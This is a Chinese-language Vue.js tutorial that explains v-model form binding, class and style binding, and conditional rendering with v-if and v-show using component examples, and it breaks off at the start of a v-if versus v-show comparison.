# Vue 基础 - 表单、样式绑定,条件、列表渲染、指令

TIP

从本节内容开始学习 Vue 的核心基础内容,主要有:

  • 表单输入绑定
  • class 类 与 Style 样式绑定
  • v-if 条件渲染
  • v-for 列表渲染
  • 其他内置指令:v-text、v-html、v-once、v-cloak、v-pre 指令

本章节的内容同上一章节一样,非常的重要,针对所讲的每一个知识点都需要熟练掌握。

# 一、表单输入绑定

TIP

在实际开发中,我们经常需要收集表单中的数据,本小节的核心就是学习如何收集表单中数据。

我们会从以下几个点展开学习:

  • 数据绑定的两种形式:双向数据绑定与单向数据绑定
  • 手动实现<input>元素双向数据绑定
  • v-model指令的基本实现原理
  • v-model的基本用法
    • 收集多行文本内容
    • 收集单选按扭内容
    • 收集复选框内容
    • 收集下拉列表内容
  • v-model指令修饰符

# 1、数据绑定的两种形式

TIP

数据绑定分为以下两种形式:

  • 单向数据绑定
  • 双向数据绑定

# 1.1、单向数据绑定(v-bind)

TIP

  • 单向数据绑定是指:数据只能从 data 流向页面。

当我们更新data中数据时,页面中对应的数据也会跟着发生变化。但页面中数据发生变化时,data中对应的数据并不会有任何变化

  • v-bind指令属于单向数据绑定,用于给元素动态的绑定一个或多个属性

代码示例

<script>
export default {
  data() {
    return {
      text: "用户名",
    };
  },
};
</script>

<template>
  <!--
        v-bindr指令(简写成 :)动态绑定元素的value属性,他属于单向绑定
        所以当data中数据发生变化时,页面中数据会同步更新,
        但页面中数据发生变化时,data中数据不会变。
	-->
  <input :value="text" />
</template>

image-20230505214700831

# 1.2、双向数据绑定(v-model)

TIP

  • 双向数据绑定是指:数据不仅能从 data 流向页面,还可以从页面流向 data

在处理表数据时,当data中的数据发生变化时,表单中的内容也要同步更新。当输入框中的内容发生变化时,data中的数据也要跟着更新为最新的。

  • v-model指令为双向数据绑定,常用于动态绑定表单元素的属性(如:value 属性)

代码示例

<script>
export default {
  data() {
    return {
      text: "用户名",
    };
  },
};
</script>

<template>
  <input v-model="text" />
</template>

最终渲染后效果如下图

  • 当修改 data 中 text 属性的值时,页面中文本框中的内容也会发生变化
  • 当修改输入框中的内容时,data 中 text 属性的值也会同步发生变化。

GIF2023-5-521-50-08

# 2、手动实现 input 元素双向数据绑定

TIP

如果没有v-model指令,我们用前面学过的v-bind指令与@input事件也可以轻松实现<input>元素的双向数据绑定。

实现原理:

  • v-bind指令用于实现将data中数据呈现到输入框中,当data中数据发生变化时,文本框中内容同步变化
  • @input事件绑定,用来实现当输入框中的内容发生改变时,将输入框中的内容赋值给到data中对应的属性

代码示例

使用v-bind指令与@input事件,实现<input>元素的双向数据绑定

<script>
export default {
  data() {
    return {
      text: "用户名",
    };
  },
};
</script>

<template>
  <!--
        v-bind 指令动态绑定输入框的value属性,当text属性值变化时,文本框中的内容发生变化
        @input事件用于在输入框内容改变时,把data中的text属性值更改变文本框中的值
        以上两部实现了v-model的双向数据绑定效果
	-->
  <input :value="text" @input="(event) => (text = event.target.value)" />
</template>

以上代码,最终渲染后效果如下图:

GIF2023-5-521-50-08

总结:

如果没有v-model指令,我们利用v-bindinput事件也可以实现<input>元素的双向数据绑定。

v-model指令,帮我们简化了v-bind指令与@input事件结合的复杂操作,以后我们需要实现双向数据绑定时,只需要使用v-model指令即可。

# 3、v-model 的内部实现原理

TIP

v-model指令除了应用于刚讲的<input>元素,还可以应用于其它各种不同类型的输入元素。它会根据所使用的元素自动使用对应的 DOM 属性和事件组合:

  • 单行文本<input>与多行文本<textarea>输入框,v-model会绑定 value 属性 并侦听 input 事件
  • 单选按扭<input type="radio">与复选框<input type="checkbox" >v-model会绑定 checked 属性并侦听 change 事件;
  • 下拉列表<select>元素,v-model会绑定 value 属性 并侦听 change 事件

如果你有兴趣,你可以参考上面 v-bindinput事件实现<input>元素双向数据绑定》,自已利用v-bind指令和表单元素的相关事件,实现其它表单元素的双向数据绑定效果。

这里我们就不再一一讲解,我们的核心在于学习v-model的基本用法,内部原理作为了解即可。

# 4、v-model 的基本用法

TIP

v-model可以用于各种不同类型的输入元素,实现双向数据绑定。如:

  • 单行文本 (前面已学过)
  • 多行文本
  • 单选按扭
  • 复选框
  • 下拉列表

# 4.1、多行文本

TIP

多行文本框的绑定方式和原理与单行文本框<input>的是一模一样。

写法如下:

<script>
export default {
  data() {
    return {
      message: "多行文本框",
    };
  },
};
</script>

<template>
  <textarea v-model="message"></textarea>
</template>

最终渲染效果如下:

GIF2023-6-1516-11-39

# 4.2、单选按扭

TIP

想要收集单选按扭的选中的值,需要在单选按扭上添加value属性,这样v-model指令后的变量才能收集到选中按扭的值。

代码示例

<script>
  export default {
    data() {
      return {
        /*
            一开选中粉色主题,则skinTheme的值为 pinkTheme
            一开始选中蓝色主题,则skinTheme的值为 skyblueTheme
            一开始没有任何一个被选中,则skinTheme的值为 "" 
        */
        skinTheme: "pinkTheme",
      };
    },
  };
</script>

<template>
  <h3>皮肤主题:{{ skinTheme }}</h3>
  <input type="radio" v-model="skinTheme" value="pinkTheme" /> 粉色
  <input type="radio" v-model="skinTheme" value="skyblueTheme" /> 蓝色
</template>

最终渲染效果如下:

GIF2023-5-615-25-34

也可动态绑定单选按扭 value 的属性值

<script>
export default {
  data() {
    return {
      pink: "pinkTheme", // 粉色主题
      skyblue: "skyblueTheme", // 蓝色主题
      skinTheme: "pinkTheme",
    };
  },
};
</script>

<template>
  <h3>皮肤主题:{{ skinTheme }}</h3>
  <input type="radio" v-model="skinTheme" :value="pink" /> 粉色
  <input type="radio" v-model="skinTheme" :value="skyblue" /> 蓝色
</template>

最终渲染效果和前面一样,如下:

GIF2023-5-615-25-34

# 4.3、单一复选框

TIP

  • 针对只有一个复选框的情况,我们通常需要收集的是布尔值:truefalse。 比如:对于阅读的协议只需要勾选同意或不勾选。
  • 针对单一复选框,我们要收集的是布尔值,则v-modle绑定的变量只能是布尔类型。
<script>
export default {
  data() {
    return {
      checked: false, // false表示未选中 true表示选中
    };
  },
};
</script>

<template>
  <div>{{ checked }}</div>
  <input type="checkbox" name="sex" v-model="checked" /> 同意
</template>

GIF2023-5-614-16-20

  • 如果我们希望复选框选中时与未选中时分别给出不同的值,并且值可以为非布尔值
  • 则可以在复选框上添加true-valuefalse-value两个属性,这两个属性是 Vue 特有,仅支持和v-model配套使用。
<script>
export default {
  data() {
    return {
      skin: "skyblueTheme", // 默认主题
    };
  },
};
</script>

<template>
  <h3>皮肤主题:{{ skin }}</h3>
  <!--选中皮肤主题为:pinkTheme  未选中采用默认主题 skyblueTheme-->
  <input
    type="checkbox"
    v-model="skin"
    true-value="pinkTheme"
    false-value="skyblueTheme"
  />
  粉色
</template>

GIF2023-5-619-19-46

  • 也可以使用v-bind来动态绑定true-valuefalse-value属性的值
<script>
  export default {
    data() {
      return {
        skin: "skyblueTheme",
        skyblue: "skyblueTheme", // 蓝色主题
        pink: "pinkTheme",
      };
    },
  };
</script>

<template>
  <h3>皮肤主题:{{ skin }}</h3>
  <input
    type="checkbox"
    v-model="skin"
    :true-value="pink"
    :false-value="skyblue"
  />
  粉色
</template>

# 4.4、多个复选框

TIP

  • v-model收集的是被选中的多个复选框的值时,默认将收集到的多个值放到一个数组中保存。所以v-model绑定的变量需要是一个数组。默认没有一个被选中,则变量对应的是一个[]空数组。
  • 收集时,要知道每个复选框的值,则需要在复选框上添加vaule属性。
<script>
export default {
  data() {
    return {
      hobbies: [], // 默认没有被勾选的项
      // hobbies: ["桃子"]  // 默认桃子被勾选
    };
  },
};
</script>

<template>
  <h3>你喜欢的水果有:{{ hobbies }}</h3>
  <input type="checkbox" value="苹果" v-model="hobbies" />苹果
  <input type="checkbox" value="香蕉" v-model="hobbies" />香蕉
  <input type="checkbox" value="梨子" v-model="hobbies" />梨子
  <input type="checkbox" value="桃子" v-model="hobbies" />桃子
  <input type="checkbox" value="菠萝" v-model="hobbies" />菠萝
</template>

GIF2023-5-614-14-56

# 4.5、下拉列表:单个选择器

TIP

如果下拉列表为单个选择器,也就是每次只能选择下拉列表中的一项。

  • v-model指令后变量为一个字符串类型,用来收集选中的<option>元素的value值,而非text的值。
  • 不过v-model指令要写在<select>元素上
<script>
export default {
  data() {
    return {
      province: "湖南", // 表示最开始选中湖南,如果不写或写的值与<select>中的任何一项不匹配,则最终渲染效没有一个被选中
    };
  },
};
</script>

<template>
  <h3>你所在的省份为:{{ province }}</h3>
  <select v-model="province">
    <option value="湖南">湖南省</option>
    <option value="陕西">陕西省</option>
    <option value="海南">海南省</option>
    <option value="广东">广东省</option>
    <option value="湖北">湖北省</option>
    <option value="河南">河南省</option>
  </select>
</template>

GIF2023-5-614-40-18

注意事项:

  • 如果 v-model 表达式的初始值不匹配任何一个选择项,<select> 元素会渲染成一个“未选择”的状态。
  • 在 iOS 上,这将导致用户无法选择第一项,因为 iOS 在这种情况下不会触发一个 change 事件。

因此,我们建议提供一个空值的禁用选项

代码示例

<script>
export default {
  data() {
    return {
      province: "",
    };
  },
};
</script>

<template>
  <h3>你所在的省份为:{{ province }}</h3>
  <select v-model="province">
    <option value="" disabled>----选择你所在省份----</option>
    <option value="湖南">湖南省</option>
    <option value="陕西">陕西省</option>
    <option value="海南">海南省</option>
    <option value="广东">广东省</option>
    <option value="湖北">湖北省</option>
    <option value="河南">河南省</option>
  </select>
</template>

GIF2023-5-614-44-51

# 4.6、下拉列表:多选择器

TIP

如果下拉列表为多选择器,也就是每次可以选择多个列表项。

  • v-model指令后变量的类型为一个数组,用来收集多个<option>选项的value值,而非text的值。
  • 默认刚开始没有选中任何一项,则v-model指令后变量的值为一个[]空数组

代码示例

<script>
export default {
  data() {
    return {
      // fruit: ["苹果"]  默认选中苹果
      fruit: [],
    };
  },
};
</script>

<template>
  <h3>你喜欢的水果:{{ fruit }}</h3>
  <select v-model="fruit" multiple>
    <option value="苹果">苹果</option>
    <option value="香蕉">香蕉</option>
    <option value="草莓">草莓</option>
    <option value="橘子">橘子</option>
    <option value="樱桃">樱桃</option>
    <option value="菠萝">菠萝</option>
  </select>
</template>

GIF2023-5-615-09-12

# 5、v-model 指令修饰符

TIP

为了方便收集表单中的数据,Vue 为v-model指令提供了以下 3 个修饰符。

修饰符 功能
.lazy 默认情况下,v-model 会在每次 input 事件后更新数据,添加了.lazy修鉓符后会改为在每次 change 事件后更新数据
.number 可以让用户输入的内容自动转换为数字,不加.number修鉓符,内容默认为字符串
.trim 自动去除用户输入内容两端的空格 画画 跳舞 唱歌

change 事件

  • select 元素上,change事件会在选择某个选项时发生。
  • 当用于<input><textarea>元素时,change事件会在元素失去焦点时发生。

代码演示

<script>
export default {
  data() {
    return {
      username: "",
      age: 0,
      hobbies: "",
    };
  },
};
</script>

<template>
  <!--当input元素失去焦点后,更新msg变量的值-->
  <div>姓 名:<input v-model.lazy="username" /> {{ username }}</div>

  <!--最终age的值为数字类型-->
  <div>年 龄:<input v-model.number="age" /> {{ typeof age }}</div>

  <!--如果输入的内容前后有空格,会自动去除-->
  <div>
    爱 好:<input v-model.trim="hobbies" /> {{ hobbies.length }}--{{ hobbies }}
  </div>
</template>

GIF2023-5-617-33-07

# 6、总结:表单输入绑定

TIP

本小节重点需要掌握以下内容

  • 理解v-bind单向数据绑定与v-model双向数据绑定
  • 了解v-model的底层实现原理
  • 利用v-model指令收集单行文本多行文本单选按扭复选框下拉列表中的数据
  • 掌握v-model指令修饰符.lazy.number.trim的作用与用法
<script>
export default {
  data() {
    return {
      userInfo: {
        username: "",
        sex: "",
        age: 0,
        hobbies: [],
        province: "",
        agreement: false,
      },
    };
  },
  methods: {
    showInfo() {
      console.log(this.userInfo);
    },
  },
};
</script>

<template>
  <form action="" @submit.prevent="showInfo">
    <!--单行文本-->
    <div>姓名:<input type="text" v-model.trim.lazy="userInfo.username" /></div>
    <!--单选按扭--->
    <div>
      性别: <input type="radio" value="" v-model="userInfo.sex" /><input type="radio" value="" v-model="userInfo.sex" /></div>
    <!--单行文本-->
    <div>
      年龄:
      <input type="number" v-model.number="userInfo.age" />
    </div>
    <!--复选框-->
    <div>
      爱好:
      <input type="checkbox" value="阅读" v-model="userInfo.hobbies" />阅读
      <input type="checkbox" value="唱歌" v-model="userInfo.hobbies" />唱歌
      <input type="checkbox" value="跳舞" v-model="userInfo.hobbies" />跳舞
      <input type="checkbox" value="跑步" v-model="userInfo.hobbies" />跑步
    </div>
    <!--下拉列表-->
    <div>
      选择所在的省份:
      <select v-model="userInfo.province">
        <option value="" disabled>----选择所在省份---</option>
        <option value="湖南">湖南省</option>
        <option value="湖北">湖北省</option>
        <option value="陕西">陕西省</option>
      </select>
    </div>
    <!--单一复选框-->
    <div>
      <input type="checkbox" v-model="userInfo.agreement" />
      同意并接受《用户协议》
    </div>
    <button type="submit">提交</button>
  </form>
</template>

image-20230506190428263

  • 如何将表单元素绑定的值为动态数据
<input type="checkbox" v-model="agreement" :true-value="xx" :false-value="yy" />
同意

<input type="radio" v-model="skin" :value="pink" /> 粉色
<input type="radio" v-model="skin" :value="skyblue" /> 粉色

<select v-model="data">
  <option :value="xxx"></option>
</select>

# 二、class 类 与 style 样式绑定

TIP

在实际的项目开发中,对于元素的class属性与style属性的操作是非常常见的需求。因为classstyle都属于元素的属性,所以我们同样是利用v-bind来将他们与动态的字符串绑定。

因为classstyle属性在操作时相对较复杂,所以v-bind指令在动态绑定classstyle属性值时,其表达式的值除了 “字符串“ 外,还可以是 ”对象或数组”

# 1、动态绑定 class 类

TIP

我们可以使用v-bind:class(简写:class)为元素动态绑定class的值

:class绑定的值可以是:

  • 字符串
  • 对象
  • 数组

三者中的一种

# 1.1、绑定字符串

TIP

我们可以给v-bind:class(缩写:class)传递一个字符串类型的变量,为元素动态添加class属性值

<script>
export default {
  data() {
    return {
      className: "bg-red",
    };
  },
};
</script>

<template>
  <!--最终渲染后元素的 class='bg-red'-->
  <div :class="className">box</div>
</template>

以下写法,vue最终自动:classclass中的值合并在一起

<div :class="className" class="basic"></div>

<!--以上写法,最终渲染后结果如下-->
<div class="bg-red baisc"></div>

代码示例

<script>
export default {
  data() {
    return {
      className: "bg-red",
    };
  },
  methods: {
    changeColor() {
      this.className = "bg-blue";
    },
  },
};
</script>

<template>
  <div :class="className" class="basic" @click="changeColor">box</div>
</template>

<style>
.basic {
  width: 100px;
  height: 100px;
  border: 2px solid #000;
}

.bg-red {
  background-color: red;
}

.bg-blue {
  background-color: skyblue;
}
</style>

注:

以上代码表示,初始渲染时,div元素身上的class="basic bg-red",当点击div时,元素的class="basic bg-red"

具体效果如下:

GIF2023-4-2820-30-54

# 1.2、绑定对象

TIP

如果:class绑定的值为一个对象

  • 对象属性的值为true时,则对象的属性名会渲染成元素class属性中的值
  • 如果对象属性的值为false,则该属性名不会出现在class属性中。
<div class="basic" :class="{ bgColor: true, radius: false }">box</div>
<!--以上写法,最终渲染结果如下-->
<div class="basic bgColor">box</div>

代码演示

<template>
  <div class="basic" :class="{ bgColor: true, radius: false }">box</div>
</template>

<style>
.basic {
  width: 100px;
  height: 100px;
  border: 2px solid #000;
}

.bgColor {
  background-color: red;
}

.radius {
  border-radius: 20px;
}
</style>

以上代码编译后,最终显示效果如下:

image-20230428204249691

我们将对象属性后面值改为变量,这样就可以通过 JS 来动态操作是否添加对应的class

<script>
export default {
  data() {
    return {
      isColor: true,
      isRadius: false,
    };
  },
  methods: {
    changeClass() {
      this.isRadius = true;
    },
  },
};
</script>

<template>
  <div
    class="basic"
    :class="{ bgColor: isColor, radius: isRadius }"
    @click="changeClass"
  >
    box
  </div>
</template>

<style>
.basic {
  width: 100px;
  height: 100px;
  border: 2px solid #000;
}

.bgColor {
  background-color: red;
}

.radius {
  border-radius: 20px;
}
</style>

注:

以上代码初始渲染后,div元素的class="basic bgColor",当点击div元素后class="basic bgColor isRadius"

具体效果如下:

GIF2023-4-2820-53-34

我们也可以将:class后面字面量形式的对象,改为一个变量,这个变量的值是一个对象

<script>
export default {
  data() {
    return {
      className: {
        bgColor: true,
        radius: false,
      },
    };
  },
  methods: {
    changeClass() {
      this.className.radius = true;
    },
  },
};
</script>

<template>
  <div class="basic" :class="className" @click="changeClass">box</div>
</template>

<style>
.basic {
  width: 100px;
  height: 100px;
  border: 2px solid #000;
}

.bgColor {
  background-color: red;
}

.radius {
  border-radius: 20px;
}
</style>

以上代码渲染出来的结果,与上面动态绑定的效果是一样的。

# 1.3、绑定数组

TIP

如果:class绑定的值为一个数组,数组中的每个成员都是一个字符串,那数组中的每个成员都会渲染成class属性的值

<div class="basic" :class='[" bgColor", "radius"]'></div>

<!--以上写法,最终渲染后效果如下-->
<div class="basic bgColor radius"></div>
  • 如果想通过 JS 来动态操作 class 的属性值,我们可以将数组中的每个成员,改成变量,如下:
<script>
  export default {
    data() {
      return {
        isBgColor: "bgColor",
        isRadius: "radius",
      };
    },
  };
</script>

<template>
  <div class="basic" :class="[isBgColor, isRadius]"></div>
</template>
  • 在实际开发中,上面这种方式还不是最优的,我们还可以直接绑定一个数组类型的变量,这样我们就可以通过 JS 操作数组中的成员来实现对 class 的新增、删除、更新。
<script>
  export default {
    data() {
      return {
        arrClass: ["bgColor", "radius"],
      };
    },
    methods: {
      removeClass() {
        // 删除数组中最后一个元素
        this.arrClass.pop();
      },
    },
  };
</script>

<template>
  <div class="basic" :class="arrClass" @click="removeClass"></div>
</template>
  • 也可以在数组中通过三元表达式有条件的渲染某个 class
<!--
	以下写法表示:
		如果 isRadius为true,则向class中添加radius和bgColor,否则只添加bgColor
-->
<div class="basic" :class="[isRadius ? 'radius' : '', 'bgColor']"></div>
  • 如果有多个依赖条件的class,则代码显的有些冗长,因此也可以在数组中嵌套对象
<div class="basic" :class="[{ radius: isRadius }, 'bgColor']"></div>

# 1.4、总结

TIP

v-bind指令动态绑定 class 属性的值,其值可以:字符串、对象、数组中的任意一种

<!-- 值为字符串 -->
<div :class="className">box</div>

<!--值为js对象 对象属性的值为true,则属性名会被添加到class中-->
<div :class="{ bgColor: true, radius: false }">box</div>
<!--bool变量为布尔类型,true表示class='bgColor' false表示 class='' -->
<div :class="{bgColor:bool}"></div>
<!--classObj变量的值是一个对象-->
<div :class="classObj"></div>

<!--值为数组-->
<!--数组中成员都为字符串,则数组中每个成员都会成为class的值-->
<div class="basic" :class='[" bgColor", "radius"]'></div>
<!-- isBgColor和 isRadius为变量-->
<div class="basic" :class="[isBgColor, isRadius]"></div>
<!--数组可以通过三元表达式有条件的渲染class-->
<div class="basic" :class="[isRadius ? 'radius' : '', 'bgColor']"></div>
<!--数组中的成员可以是一个对象-->
<div class="basic" :class="[{ radius: isRadius }, 'bgColor']"></div>

# 2、动态绑定 style 样式

TIP

我们可以通过v-bind:style(简写:style)来动态为元素添加style样式属性。

:style绑定的值可以是:

  • 样式字符串
  • 样式对象
  • 样式数组(数组中每个成员是一个样式类型的对象)

# 2.1、绑定样式字符串

TIP

:style后的值为一个标准的 CSS 样式字符串

<script>
export default {
  data() {
    return {
      styleCss: "color:red;font-size:30px",
    };
  },
};
</script>

<template>
  <div :style="styleCss">style样式绑定</div>
</template>

编译后结果如下:

<div style="color: red; font-size: 30px;">style样式绑定</div>

# 2.2、绑定样式对象

TIP

:style后绑定的值为一个样式对象,即:对象中属性为 CSS 属性名,属性名推荐camelCase写法,但也支持kebab-cased写法。

<script>
  export default {
    data() {
      return {
        activeColor: "red",
        fontSize: "30px",
      };
    },
  };
</script>

<template>
  <div :style="{ color: activeColor, 'font-size': fontSize }">
    style样式绑定
  </div>
  <!--以下写法为官方推荐写法,属性名采用 camelCase 写法-->
  <div :style="{ color: activeColor, fontSize: fontSize }">style样式绑定</div>
</template>

编译后的结果如下:

<div style="color: red; font-size: 30px;">style样式绑定</div>

:style后直接绑定一个变量,变量的值是一个样式对象。(此方式为最优绑定方式)

<script>
export default {
  data() {
    return {
      styleObject: {
        color: "red",
        fontSize: "30px",
      },
    };
  },
};
</script>

<template>
  <div :style="styleObject">style样式绑定</div>
</template>

编译后结果同上。

# 2.3、绑定样式数组

TIP

:style后绑定的值为一个数组,数组中的成员可以是一个样式对象,也可以是一个样式字符串,最终这些样式都会合并渲染到同一元素上。

<script>
export default {
  data() {
    return {
      // 基础样式
      baseStyles: {
        width: "100px",
        height: "100px",
        backgroundColor: "skyblue",
      },
      // 激活后样式
      activeStyles: {
        fontSize: "20px",
        color: "red",
      },
    };
  },
};
</script>

<template>
  <div :style="[baseStyles, activeStyles, 'border-radius:50%']">
    style样式绑定
  </div>
</template>

编译后的结果如下:

<div
  style="width: 100px; height: 100px; background-color: skyblue; font-size: 30px; color: red;border-radius:50%"
>
  style样式绑定
</div>

# 2.4、总结

TIP

v-bind指令动态绑定 style 属性的值,其值可以是:样式字符串、样式对象、样式数组

<!--样式字符串-->
<div :style="styleCss">style样式绑定</div>

<!--样式对象-->
<div :style="{ color: activeColor, 'font-size': fontSize }">style样式绑定</div>

<!--样式数组  baseStyles与activeStyles为样式对象或样式字符串-->
<div :style="[baseStyles, activeStyles]">style样式绑定</div>

# 3、:class 与 :style 与 计算属性

TIP

如果:class:style后绑定的值需要经过相对复杂的逻辑运算才能得到,可以利用计算属性来实现。

:class:style后面直接绑定计算属性,计算属性的值为一个合格的 ”字符串 或 对象或数组"

<script>
export default {
  data() {
    return {
      skinTheme: "skyblue",
    };
  },
  computed: {
    // 计算属性
    skinStyle() {
      if (this.skinTheme === "skyblue") {
        return ["skyblue-bg", "border-radius"];
      } else if (this.skinTheme === "yellow") {
        return ["yellow-bg", "border10"];
      } else {
        return ["pink-bg"];
      }
    },
  },
};
</script>
<template>
  <select v-model="skinTheme">
    <option>skyblue</option>
    <option>yellow</option>
    <option>pink</option>
  </select>
  <div :class="skinStyle" class="basic"></div>
</template>

<style scoped>
.basic {
  width: 100px;
  height: 100px;
}

.skyblue-bg {
  background-color: skyblue;
}

.yellow-bg {
  background-color: khaki;
}

.pink-bg {
  background-color: pink;
}

.border-radius {
  border-radius: 50%;
}

.border10 {
  border: 10px solid red;
}
</style>

以上代码,最终效果如下:

GIF2023-5-517-02-18

# 4、案例:开关效果

GIF2023-6-1519-58-29

<script>
  export default {
    data() {
      return {
        isActive: false,
      };
    },
  };
</script>
<template>
  <div class="switch" :class="{ active: isActive }">
    <span @click="isActive = !isActive"></span>
  </div>
</template>

<style scoped>
  .switch {
    width: 60px;
    height: 30px;
    border: 2px solid #ddd;
    border-radius: 30px;
    cursor: pointer;
  }

  .switch span {
    width: 24px;
    height: 24px;
    display: block;
    border-radius: 50%;
    background-color: #ddd;
    margin: 3px;
    transition: all ease 1s;
  }

  .switch.active {
    border: 2px solid skyblue;
  }

  .switch.active span {
    background-color: skyblue;
    transform: translateX(30px);
  }
</style>

# 5、案例:项目进度条

TIP

假设一个项目分四个阶段完成,我们会对项目每个阶段的完成进度进行评估。

以下为项目各阶段的进度评估数据

state: {
    /*
        当前项目分四个阶段,0-4表示每个阶段的完成情况
        0-此阶段还没开始   进度条显示灰色
        1-提前完成    进度条显示 skyblue 天蓝色
        2-正常完成   进度条显示  green 绿色
        3-超时     进度条显示 orange 橘色
        4-严重超时  进度条显示 red 红色
    */
    I_state: 1,
    II_state: 3,
    III_state: 2,
    IIII_state: 0
}

我们需要根据每个阶段的完成进度,将进度条渲染成不同的颜色

image-20230615204701531

完整版代码

<script>
  export default {
    data() {
      return {
        state: {
          I_state: 1,
          II_state: 3,
          III_state: 2,
          IIII_state: 4,
        },
        // 数组
        arr: ["", "skyblue", "green", "orange", "red"],
        // map
        map: new Map([
          [0, ""],
          [1, "skyblue"],
          [2, "green"],
          [3, "orange"],
          [4, "red"],
        ]),
      };
    },
  };
</script>

<template>
  <div class="wrap">
    <h3>项目每个阶段的完成情况</h3>
    <div class="progress-bar">
      <span :class="arr[state.I_state]"></span>
      <span :class="arr[state.II_state]"></span>
      <span :class="arr[state.III_state]"></span>
      <span :class="arr[state.IIII_state]"></span>
    </div>
  </div>

  <div class="wrap">
    <h3>项目每个阶段的完成情况</h3>
    <div class="progress-bar">
      <span :class="map.get(state.I_state)"></span>
      <span :class="map.get(state.II_state)"></span>
      <span :class="map.get(state.III_state)"></span>
      <span :class="map.get(state.IIII_state)"></span>
    </div>
  </div>
</template>

<style>
  .wrap {
    width: 80%;
    margin: 50px auto;
  }

  .progress-bar {
    height: 10px;
    display: flex;
  }

  .progress-bar span {
    height: inherit;
    flex: 1;
    margin-right: 5px;
    background-color: #ddd;
  }

  .progress-bar span.skyblue {
    background-color: skyblue;
  }

  .progress-bar span.green {
    background-color: green;
  }

  .progress-bar span.orange {
    background-color: orange;
  }

  .progress-bar span.red {
    background-color: red;
  }
</style>

# 三、条件渲染

TIP

条件渲染是指根据条件来渲染一块内容,条件渲染指令有:v-ifv-elsev-else-ifv-show

我们会从以下几个方面来展开学习

  • v-if 指令
  • v-else 指令
  • v-else-if 指令
  • 注意事项
  • v-if 与<template>
  • v-show 指令
  • 对比 v-if 与 v-show
  • v-if 案例:根据用户等级显示相关权益
  • v-show 案例:选项卡特效

# 1、v-if 指令

TIP

v-if 指令用于条件性地渲染一块内容。这块内容只会在指令的表达式返回真值时才被渲染。

<div v-if="true">此处内容显示</div>
<div v-if="false">此处将不会渲染在页面中</div>

代码演示

<script>
export default {
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<template>
  <div class="box1" v-if="isShow">此处内容显示</div>
  <div class="box2" v-if="!isShow">此处将不会渲染在页面中</div>
</template>

以上代码最终渲染后效果如下:

image-20230615210132776

# 2、v-else

TIP

v-else指令需要和v-if指令配合一起使用,其用法和功能与 JS 中的if ...else 一样

<!--v-if的值为false,则渲染v-else指令绑定的元素-->
<div class="box1" v-if="false">此内容不会渲染在页面中</div>
<div class="box2" v-else>此处内容显示</div>

<!--v-if的值为true,则渲染v-if指令绑定的元素,v-else指令绑定的元素不会被渲染-->
<div class="box1" v-if="true">此内容显示</div>
<div class="box2" v-else>些内容不会渲染在页面中</div>

代码演示

<script>
export default {
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<template>
  <button @click="isShow = !isShow">切换显示</button>
  <div class="box1" v-if="isShow">box1内容</div>
  <div class="box2" v-else>box2中内容</div>
</template>

以上代码最终渲染后效果如下图:

GIF2023-6-1521-04-13

注:

一开始只显示了 box1,点击按扭后,将变量isShow的值修改成false,则将 box1 从页面,显示 box2

# 3、v-else-if

TIP

v-else-if需要与v-if指令配合,其的用法和功能与 JS 中的if ...else if 一样,所以v-else-if指令可以连续多次重复使用。

v-ifv-else-ifv-else可以组合一起使用,与JS中的if..else if... else用法和功能一样。

<script>
  export default {
    data() {
      return {
        age: 40,
      };
    },
  };
</script>

<template>
  <div class="box1" v-if="age >= 60">老年</div>
  <div class="box2" v-else-if="age >= 30">中年</div>
  <div class="box3" v-else-if="age >= 18">青年</div>
  <div class="box3" v-else-if="age >= 12">少年</div>
  <div class="box4" v-else>儿童</div>
</template>

以上代表最终渲染后效果如下:

image-20230427204525649

注:

如果我们把age的值改为 28,则最终显示青年。如果把 age 的值改为 60,则最终显示老年

# 5、注意事项

TIP

v-ifv-else-ifv-else 这些指令之间必需紧跟的,中间不能有其它元素间隔着。

如下写法将会抛出错误,代码无法正常运行

<!--因为`.box`元素打断了`v-else-if`指令的连续性-->
<div class="box1" v-if="age >= 60">老年</div>
<div class="box2" v-else-if="age >= 30">中年</div>
<div class="box">这种写法将会报错,因为他打断了if指令的连续性</div>
<div class="box3" v-else-if="age >= 18">青年</div>
<div class="box3" v-else-if="age >= 12">少年</div>
<div class="box4" v-else>儿童</div>

# 6、v-if 与 <template>

TIP

如果我们想在v-if指令为真时,显示一组元素,而不是单个元素,那要如何实现呢 ?

  • 方案一:显然代码写起来不够优雅
<h3 v-if="person.age > 30">{{ person.username }}相关信息如下</h3>
<div v-if="person.age > 30">年龄:{{ person.age }}</div>
<div v-if="person.age > 30">年龄:{{ person.sex }}</div>
  • 方案二:这种方案相比第一种要好些,但是让代码的层级变的更深了
<div class="box1" v-if="person.age > 30">
  <h3>{{ person.username }}相关信息如下</h3>
  <div>年龄:{{ person.age }}</div>
  <div>年龄:{{ person.sex }}</div>
</div>
  • 方案三:v-if指令与<template>标签配合,最终<template>不会被渲染到页面中。
<!--最佳方案-->
<template class="box1" v-if="person.age > 30">
  <h3>{{ person.username }}相关信息如下</h3>
  <div>年龄:{{ person.age }}</div>
  <div>年龄:{{ person.sex }}</div>
</template>

代码演示

<script>
export default {
  data() {
    return {
      person: {
        username: "清心",
        age: 35,
        sex: "女",
      },
    };
  },
};
</script>

<template>
  <template class="box1" v-if="person.age > 30">
    <h3>{{ person.username }}相关信息如下</h3>
    <div>年龄:{{ person.age }}</div>
    <div>年龄:{{ person.sex }}</div>
  </template>
</template>

最终渲染后效果如下:

image-20230615212516362

# 7、v-show

TIP

v-show指令用来按条件显示一个元素,其用法与v-if一样,但他与v-if有以下不同:

v-if指令

  • v-if指令是将元素从 DOM 中移除来实现显示与隐藏
  • v-if指令可以在<template>元素上使用
  • v-if指令可以与v-elsev-else-if指令搭配使用

v-show指令

  • v-show 会在 DOM 渲染中保留该元素;v-show实现显示与隐藏,本质是通过操作元素的display属性来实现。
  • v-show 不支持在 <template> 元素上使用
  • v-show指令只能单独用,不能 v-else 等指令搭配使用
<div v-show="true">该元素最终显示在页面中</div>

代码演示

<script>
  export default {
    data() {
      return {
        isShow: true,
      };
    },
  };
</script>

<template>
  <div v-show="isShow">v-show 内容显示</div>
  <div v-show="!isShow">v-show 内容隐藏</div>
</template>

以上代码最终渲染后效果如下:

image-20230427211730033

# 8、对比 v-if 与 v-show

TIP

v-ifv-show都可以用来控制元素的显示与隐藏,那实际开发中,我们应该如何选择呢?

我们通过对比v-ifv-show在性能上的细微差别来确定,我们应该在什么场景下使用他们更合理

v-if 的特点

